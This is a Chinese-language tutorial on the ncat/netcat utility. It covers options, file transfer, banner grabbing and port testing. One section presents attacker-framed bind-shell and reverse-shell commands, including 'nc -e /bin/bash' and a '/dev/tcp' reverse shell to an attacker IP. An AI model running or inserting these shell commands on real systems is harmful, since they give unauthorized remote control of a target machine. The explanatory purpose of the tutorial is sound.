Ncat is a feature-packed networking utility which reads and writes data across networks from the command line;
nc(ncat)
:Ncat是一個功能豐富的網路實用工具;支援埠監聽、遠端通訊、檔案傳輸、埠掃描、反向Shell、埠轉發功能;
格式
:ncat [OPTIONS...] [hostname] [port]
常用引數:
OPTIONS | 意義 |
---|---|
-l | 使用監聽模式,意味著nc被當作server,偵聽並接受連線,而非向其它地址發起連線 |
-p | 設定本地主機使用的通訊埠 |
-s | 設定本地主機送出封包的IP地址 |
-u | 使用UDP傳輸協定 |
-v | 顯示指令執行過程 |
-w | 設定等待連線的時間 |
-z | 使用0輸入/輸出模式,只在掃描通訊埠時使用 |
nc
、netcat
、ncat
區別:
netcat
和ncat
的-z
引數是不相等的;rpm -qa|grep nc
命令,檢視nc是指netcat還是ncat;參考案例:
# nc可用ncat代替
$ nc -nvv 192.168.3.1 80
# ncat 命令在20000埠啟動了一個tcp 伺服器,所有的標準輸出和輸入會輸出到該埠;
# 輸出和輸入都在此shell中展示
Server$ nc -l 20000
Client$ nc Server-IP 20000
# 從Client傳輸檔案到Server
# 需要在Server上使用nc監聽,server上執行監聽命令;
Server$ nc -lp 12345 >> test.log
# Client執行傳輸命令
Client$ nc -w 1 Server-IP 12345 < xxx.log
# 從Server傳輸檔案到Client
# 需要在Server上使用nc監聽,server上執行監聽命令;
Server$ nc -lp 12345 < test.log
# Client執行傳輸命令
Client$ nc -w 1 Server-IP 12345 > xxx.log
# 從Client傳輸檔案到Server上;需要在Server上使用nc監聽,server上執行監聽命令;
# tar zxvf - 通過tar zxvf解壓,從管道接收到的資料,`-`表示從管道接收資料;
Server$ nc -l 23456|tar zxvf -
# tar zcvf - 通過tar zcvf壓縮,將目錄`Directory`壓縮後傳輸到管道中;`-`表示輸出到管道中;
Client$ tar zcvf - Directory | nc Server-IP 23456
# 一旦發現開放的埠,可以容易的使用ncat 連線服務抓取他們的banner
$ nc -v 172.31.100.7 21
正向shell是指攻擊機主動連線靶機,並取得shell。通俗點說就是靶機自己繫結某個埠,等攻擊機連線後將收到的資料給bash或cmd(後文簡稱shell),執行結果再丟給攻擊機。
# 正向shell是目標機(被攻擊方)先執行nc命令,然後攻擊機(攻擊方)上再進行nc連線,即可反彈shell
# 正向shell需要目標機安裝nc
# 正向shell 需要目標機firewalld可過濾
# target: 目標伺服器系統(被攻擊方)
target$ nc -lkvp 7777 -e /bin/bash
# attack: 攻擊者系統(攻擊方)
attack$ nc Target-IP 7777
反向shell就是靶機帶著shell來連攻擊機,好處顯而易見就是不用擔心防火牆的問題了,當然也不是沒有缺點;缺點就是攻擊機的IP必須能支援靶機的主動定址,換句話來說就是攻擊機需要有公網IP地址;舉個例子如攻擊機是內網ip或經過了NAT,靶機是公網IP,即使取得了命令執行許可權靶機也無法將shell彈過來,這是網路環境的問題。
# attack: 攻擊者系統(攻擊方)
# -k: 當用戶端從伺服器端斷開連線後,過一段時間伺服器端也會停止監聽;通過選項 -k 可以強制伺服器保持連線並繼續監聽埠;即使來自使用者端的連線斷了server也依然會處於待命狀態;
attack$ nc -lkvnp 6677
# target: 目標伺服器系統(被攻擊方)
# -i: 指定斷開的時候,單位為秒
Client$ sh -i >& /dev/tcp/192.168.188.69/6677 0>&1
# 伺服器端
Server$ nc -l <port> > /dev/null
# 使用者端
Client$ nc Server-IP <port> < /dev/zero
# 測試tcp埠連通性
# nc -vz ip tcp-port
$ nc -zv 192.168.188.188 5432
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.188.188:5432.
Ncat: 0 bytes sent, 0 bytes received in 0.01 seconds.
# 測試udp埠連通性
# nc -uvz ip udp-port
$ nc -uzv 192.168.188.188 7899
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.188.188:7899.
Ncat: Connection refused.
# 臨時監聽TCP埠
# nc -l port >> filename.out 將監聽內容輸入到filename.out檔案中
$ nc -l 7789 >> a.out
# 永久監聽TCP埠
# nc -lk port
$ nc -lk 7789 >> a.out
# 臨時監聽UDP
# nc -lu port
$ nc -lu 7789 >> a.out
# 永久監聽UDP
# nc -luk port
$ nc -luk 7789 >> a.out